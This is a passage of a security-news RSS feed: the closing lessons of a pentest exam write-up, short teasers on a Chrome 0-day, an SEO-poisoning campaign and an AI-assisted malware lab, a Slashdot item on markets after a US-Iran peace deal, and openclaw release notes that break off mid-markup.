serious to severe. But their combined impact — a fully unobstructed path from unauthenticated access to root OS compromise — was only visible by tracing the chain. Penetration testing is about attack paths, not checklists.</p><h3>Final Thoughts</h3><p>This exam ran for ten hours. At the end of it, I had documented ten confirmed vulnerabilities and a root shell on a machine I was told couldn’t be compromised that way.</p><p>That quote — <em>“</em>You Can’t Get a Shell<em>”</em> — wasn’t said to challenge me. It was a genuine belief about the application’s security posture. And that belief was wrong, not because the application had obvious flaws, but because the combination of a leaked Flask secret, an SSTI vector in the profile route, and a process running as root formed a path that wasn’t visible from any single angle.</p><p>The three systemic failures that made this possible:</p><ol><li><strong>No input validation</strong> — SQL queries, template strings, and file paths all accepted user input without sanitisation.</li><li><strong>Hardcoded secrets in source code</strong> — One SSRF or LFI request was enough to recover everything needed for session forgery and token fabrication.</li><li><strong>Root execution</strong> — The web process running as root transformed every code execution path, regardless of how it was reached, into full system compromise.</li></ol><p>All of these are fixable. Most of them in hours. The gap between a vulnerable application and a secure one is often smaller than it looks from the outside — which is exactly why testing matters.</p><p><em>Assessment conducted under MilliSec LLC examination supervision. All exploitation performed on an authorized target within an isolated lab environment. Never test systems you do not own or have explicit authorization to test.</em></p><p><em>If this was useful, connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a82c804ce8e2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-instructor-said-you-cant-get-a-shell-i-got-root-full-web-pentest-exam-write-up-a82c804ce8e2">My Instructor Said “You Can’t Get a Shell.” I Got Root. — Full Web Pentest Exam Write-Up</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[⚡ Weekly Recap: Chrome 0-Day, UniFi Exploits, macOS Stealers, VPN Flaw and More]]></title>
<description><![CDATA[Stuff broke again. Not in a movie way. An old tool was left exposed. An abandoned package was abused. A deprecated feature was still running in prod. This week is the same lesson in a new form: phishing kits are…
Read more →
The post ⚡ Weekly Recap: Chrome 0-Day, UniFi Exploits, macOS Stealers, V...]]></description>
<link>https://tsecurity.de/de/3599543/it-security-nachrichten/weekly-recap-chrome-0-day-unifi-exploits-macos-stealers-vpn-flaw-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599543/it-security-nachrichten/weekly-recap-chrome-0-day-unifi-exploits-macos-stealers-vpn-flaw-and-more/</guid>
<pubDate>Mon, 15 Jun 2026 17:24:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Stuff broke again. Not in a movie way. An old tool was left exposed. An abandoned package was abused. A deprecated feature was still running in prod. This week is the same lesson in a new form: phishing kits are…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/%E2%9A%A1-weekly-recap-chrome-0-day-unifi-exploits-macos-stealers-vpn-flaw-and-more/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/%E2%9A%A1-weekly-recap-chrome-0-day-unifi-exploits-macos-stealers-vpn-flaw-and-more/">⚡ Weekly Recap: Chrome 0-Day, UniFi Exploits, macOS Stealers, VPN Flaw and More</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[⚡ Weekly Recap: Chrome 0-Day, UniFi Exploits, macOS Stealers, VPN Flaw and More]]></title>
<description><![CDATA[Stuff broke again. Not in a movie way. An old tool was left exposed. An abandoned package was abused. A deprecated feature was still running in prod.

This week is the same lesson in a new form: phishing kits are easier to rent, AI names are useful bait, old login paths still fail, and forgotten ...]]></description>
<link>https://tsecurity.de/de/3599492/it-security-nachrichten/weekly-recap-chrome-0-day-unifi-exploits-macos-stealers-vpn-flaw-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599492/it-security-nachrichten/weekly-recap-chrome-0-day-unifi-exploits-macos-stealers-vpn-flaw-and-more/</guid>
<pubDate>Mon, 15 Jun 2026 16:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Stuff broke again. Not in a movie way. An old tool was left exposed. An abandoned package was abused. A deprecated feature was still running in prod.

This week is the same lesson in a new form: phishing kits are easier to rent, AI names are useful bait, old login paths still fail, and forgotten software keeps becoming someone else's entry point.

Scroll through the full Monday Cybersecurity]]></content:encoded>
</item>
<item>
<title><![CDATA[ciflow/xpu/186915]]></title>
<description><![CDATA[recover skips as issue still exists]]></description>
<link>https://tsecurity.de/de/3597941/downloads/ciflowxpu186915/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597941/downloads/ciflowxpu186915/</guid>
<pubDate>Mon, 15 Jun 2026 06:01:28 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>recover skips as issue still exists</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[US-Iran Peace Agreement Prompts Stock Rally, Leaves Some Investors Skeptical and Questions on Speed of Resuming Oil Production]]></title>
<description><![CDATA["Asian stocks rallied Monday while oil prices tumbled," reports CNBC, "after the U.S. and Iran agreed to a peace deal aimed at ending nearly four months of conflict..."


The strongest reaction was seen in energy markets. U.S. crude oil futures for July delivery were down 4.77% to $80.83 per barr...]]></description>
<link>https://tsecurity.de/de/3597883/it-security-nachrichten/us-iran-peace-agreement-prompts-stock-rally-leaves-some-investors-skeptical-and-questions-on-speed-of-resuming-oil-production/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597883/it-security-nachrichten/us-iran-peace-agreement-prompts-stock-rally-leaves-some-investors-skeptical-and-questions-on-speed-of-resuming-oil-production/</guid>
<pubDate>Mon, 15 Jun 2026 04:49:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["Asian stocks rallied Monday while oil prices tumbled," reports CNBC, "after the U.S. and Iran agreed to a peace deal aimed at ending nearly four months of conflict..."


The strongest reaction was seen in energy markets. U.S. crude oil futures for July delivery were down 4.77% to $80.83 per barrel by 8:27 p.m. ET. Brent futures, the international benchmark, for August delivery traded about 4% lower to $83.77 per barrel. Asian equities surged. South Korea's Kospi jumped 5.1%, Japan's Nikkei 225 climbed 3.6%, and the broader Topix advanced 2.6%... The U.S. dollar index weakened 0.32% to 99.483, while the yield on the benchmark 10-year Treasury note fell 5 basis points to 4.423%, suggesting that investors were dialing back inflation concerns on easing energy prices. "The most immediate implication is a repricing of the inflation risk premium that markets have been carrying since the Strait closed," said Billy Leung, investment strategist at Global X ETFs... 

Besides safe-haven Treasurys, gold also rose. "Gold is the interesting outlier here," Leung said. "In a clean risk-on trade, gold should be selling off as the geopolitical premium unwinds, but it is holding bid around $4,300, which tells you the market is not fully trusting the deal yet." Spot gold prices were up almost 2% at $4,302.19 per ounce. That skepticism reflects lingering uncertainty around the agreement, which remains unsigned and subject to implementation risks. [Josh Gilbert, lead Asia Pacific analyst at trading platform eToro] cautioned that "the deal isn't actually signed until June 19th, the details are still thin, and this conflict has shown more than once that headlines can turn on a dime." 


Analysts at Commonwealth Bank of Australia also stressed that the oil outlook hinges on how quickly shipping and production can normalize. Vivek Dhar, head of commodities and sustainability research at CBA, expects Brent to fall to around $80 a barrel by year-end, assuming the Strait remains open and exports recover. However, he warned that damage to refining infrastructure, the presence of sea mines and uncertainty over tanker traffic could slow the return to normal operations. Even so, he said markets are likely to take comfort from the prospect that oil flows need only recover to around 60%-70% of pre-war levels to restore expectations of a global supply surplus. 

For investors, the biggest implication will likely be what cheaper energy means for inflation and central banks. Lower oil prices ease pressure on households and businesses while reducing the risk of a broader inflation resurgence just as major central banks enter a busy week of policy meetings. 

UPDATE: "A US official is rejecting Iran's assertion that it will receive billions of dollars in frozen funds before a planned 60-day negotiating period begins following Friday's signing of an agreement," reports CNN:

 The pushback came after Iran's deputy foreign minister, Kazem Gharibabadi, said the next phase of talks would depend on Washington first fulfilling several obligations, including releasing Iranian funds frozen abroad.

The differing accounts underscore a significant gap between how the United States and Iran are describing what must happen before the next round of negotiations can move forward.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=US-Iran+Peace+Agreement+Prompts+Stock+Rally%2C+Leaves+Some+Investors+Skeptical+and+Questions+on+Speed+of+Resuming+Oil+Production%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F15%2F0229202%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F15%2F0229202%2Fus-iran-peace-agreement-prompts-stock-rally-leaves-some-investors-skeptical-and-questions-on-speed-of-resuming-oil-production%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/15/0229202/us-iran-peace-agreement-prompts-stock-rally-leaves-some-investors-skeptical-and-questions-on-speed-of-resuming-oil-production?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT Security News Hourly Summary 2026-06-14 18h : 3 posts]]></title>
<description><![CDATA[3 posts were published in the last hour 15:34 : Thai Gambling SEO Poisoning Campaign Compromises 163 Organizations Through Abandoned DNS Records 15:34 : AI-Assisted Malware Lab Found Testing Ways to Evade Security Tools, Sophos Reports 15:34 : Debate Intensifies…
Read more →
The post IT Security ...]]></description>
<link>https://tsecurity.de/de/3597321/it-security-nachrichten/it-security-news-hourly-summary-2026-06-14-18h-3-posts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597321/it-security-nachrichten/it-security-news-hourly-summary-2026-06-14-18h-3-posts/</guid>
<pubDate>Sun, 14 Jun 2026 18:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>3 posts were published in the last hour 15:34 : Thai Gambling SEO Poisoning Campaign Compromises 163 Organizations Through Abandoned DNS Records 15:34 : AI-Assisted Malware Lab Found Testing Ways to Evade Security Tools, Sophos Reports 15:34 : Debate Intensifies…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-06-14-18h-3-posts/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-hourly-summary-2026-06-14-18h-3-posts/">IT Security News Hourly Summary 2026-06-14 18h : 3 posts</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thai Gambling SEO Poisoning Campaign Compromises 163 Organizations Through Abandoned DNS Records]]></title>
<description><![CDATA[  Surprisingly, a major SEO poisoning effort tied to Thai gambling networks has breached 163 groups in over thirty nations – leveraging outdated cloud DNS setups. Forgotten domain name system delegations were seized by hackers, according to findings from Cyble’s…
Read more →
The post Thai Gamblin...]]></description>
<link>https://tsecurity.de/de/3597274/it-security-nachrichten/thai-gambling-seo-poisoning-campaign-compromises-163-organizations-through-abandoned-dns-records/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3597274/it-security-nachrichten/thai-gambling-seo-poisoning-campaign-compromises-163-organizations-through-abandoned-dns-records/</guid>
<pubDate>Sun, 14 Jun 2026 17:35:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  Surprisingly, a major SEO poisoning effort tied to Thai gambling networks has breached 163 groups in over thirty nations – leveraging outdated cloud DNS setups. Forgotten domain name system delegations were seized by hackers, according to findings from Cyble’s…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/thai-gambling-seo-poisoning-campaign-compromises-163-organizations-through-abandoned-dns-records/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/thai-gambling-seo-poisoning-campaign-compromises-163-organizations-through-abandoned-dns-records/">Thai Gambling SEO Poisoning Campaign Compromises 163 Organizations Through Abandoned DNS Records</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.8-beta.1]]></title>
<description><![CDATA[2026.6.8
Highlights

Telegram and WhatsApp channel delivery are richer and less brittle: Telegram can send structured rich text with tables, lists, expandable blockquotes, prompt-preserving CLI backend delivery, retired native draft migration, and safer rich-media boundaries, while WhatsApp now h...]]></description>
<link>https://tsecurity.de/de/3596237/downloads/openclaw-202668-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3596237/downloads/openclaw-202668-beta1/</guid>
<pubDate>Sun, 14 Jun 2026 00:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.8</h2>
<h3>Highlights</h3>
<ul>
<li>Telegram and WhatsApp channel delivery are richer and less brittle: Telegram can send structured rich text with tables, lists, expandable blockquotes, prompt-preserving CLI backend delivery, retired native draft migration, and safer rich-media boundaries, while WhatsApp now honors configured ACP bindings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655597962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92679" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92679/hovercard" href="https://github.com/openclaw/openclaw/pull/92679">#92679</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476451914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84082" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84082/hovercard" href="https://github.com/openclaw/openclaw/pull/84082">#84082</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570992089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89421/hovercard" href="https://github.com/openclaw/openclaw/pull/89421">#89421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651736205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92513" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92513/hovercard" href="https://github.com/openclaw/openclaw/pull/92513">#92513</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jzakirov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jzakirov">@jzakirov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spacegeologist/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spacegeologist">@spacegeologist</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agent and Gateway recovery is sharper across account-scoped DM sends, generated media completions, restart shutdown aborts, yielded subagent pauses, yielded cron media, heartbeat dedupe, session identity prompts, and unknown OpenAI agent selector rejection. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656886090" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92788" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92788/hovercard" href="https://github.com/openclaw/openclaw/pull/92788">#92788</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608679911" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91246" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91246/hovercard" href="https://github.com/openclaw/openclaw/pull/91246">#91246</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610905781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91357/hovercard" href="https://github.com/openclaw/openclaw/pull/91357">#91357</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654845566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92631" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92631/hovercard" href="https://github.com/openclaw/openclaw/pull/92631">#92631</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639558879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92146" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92146/hovercard" href="https://github.com/openclaw/openclaw/pull/92146">#92146</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4609318080" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91287/hovercard" href="https://github.com/openclaw/openclaw/pull/91287">#91287</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649907551" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92468" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92468/hovercard" href="https://github.com/openclaw/openclaw/pull/92468">#92468</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651687491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92510" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92510/hovercard" href="https://github.com/openclaw/openclaw/pull/92510">#92510</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ooiuuii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ooiuuii">@ooiuuii</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ZengWen-DT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ZengWen-DT">@ZengWen-DT</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Provider/model handling expands and tightens with GLM-5.2, Claude Haiku 4.5 catalog rows, OpenRouter and Google Vertex provider-prefix normalization, managed SecretRef auth, bounded model browse discovery, storeless OpenAI Responses replay gating, and Claude 4.5 Copilot tool-streaming safety. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656989414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92796/hovercard" href="https://github.com/openclaw/openclaw/pull/92796">#92796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4585186905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90116" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90116/hovercard" href="https://github.com/openclaw/openclaw/pull/90116">#90116</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654773993" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92627" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92627/hovercard" href="https://github.com/openclaw/openclaw/pull/92627">#92627</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608164776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91218/hovercard" href="https://github.com/openclaw/openclaw/pull/91218">#91218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597491219" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90686" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90686/hovercard" href="https://github.com/openclaw/openclaw/pull/90686">#90686</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643273391" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92247" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92247/hovercard" href="https://github.com/openclaw/openclaw/pull/92247">#92247</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598134273" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90706" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90706/hovercard" href="https://github.com/openclaw/openclaw/pull/90706">#90706</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362622690" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75393" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75393/hovercard" href="https://github.com/openclaw/openclaw/pull/75393">#75393</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arkyu2077/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arkyu2077">@arkyu2077</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bymle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bymle">@bymle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samson910022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samson910022">@samson910022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snowzlm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snowzlm">@snowzlm</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</li>
<li><code>/usage</code> and reply payload hooks now have a native full footer renderer, default template, fixed-decimal formatting, credential-aware limits, better partial-count handling, and warnings for broken templates instead of silent bad output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655331882" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92657" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92657/hovercard" href="https://github.com/openclaw/openclaw/pull/92657">#92657</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580034506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89835/hovercard" href="https://github.com/openclaw/openclaw/pull/89835">#89835</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4575615670" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89629" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89629/hovercard" href="https://github.com/openclaw/openclaw/pull/89629">#89629</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvinthebored/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvinthebored">@Marvinthebored</a>.</li>
<li>UI and mobile flows are steadier: workspace files can collapse and start collapsed, WebChat backscroll survives streaming, the sidebar session picker remains interactive above the desktop workbench, reset soft args survive UI dispatch, stale dashboard session parent lineage is preserved, and iOS reconnects stale foreground gateways. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656658624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92779" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92779/hovercard" href="https://github.com/openclaw/openclaw/pull/92779">#92779</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654733246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92622" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92622/hovercard" href="https://github.com/openclaw/openclaw/pull/92622">#92622</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655805295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92705" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92705/hovercard" href="https://github.com/openclaw/openclaw/pull/92705">#92705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610838716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91353" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91353/hovercard" href="https://github.com/openclaw/openclaw/pull/91353">#91353</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596719543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90658/hovercard" href="https://github.com/openclaw/openclaw/pull/90658">#90658</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653327563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92552" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92552/hovercard" href="https://github.com/openclaw/openclaw/pull/92552">#92552</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhouhe-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhouhe-xydt">@zhouhe-xydt</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Memory, state, and diagnostics recover cleaner: oversized OpenAI embedding batches split before 431s, QMD memory search stays available in transient mode, SQLite avoids WAL on NFS state volumes, stuck-session recovery scheduling no longer resets warning backoff, and Infinity chunk limits stay genuinely unbounded. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655085802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92650" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92650/hovercard" href="https://github.com/openclaw/openclaw/pull/92650">#92650</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654672627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92618" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92618/hovercard" href="https://github.com/openclaw/openclaw/pull/92618">#92618</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654886091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92639" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92639/hovercard" href="https://github.com/openclaw/openclaw/pull/92639">#92639</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608684001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91247" data-hovercard-type="pull_request" 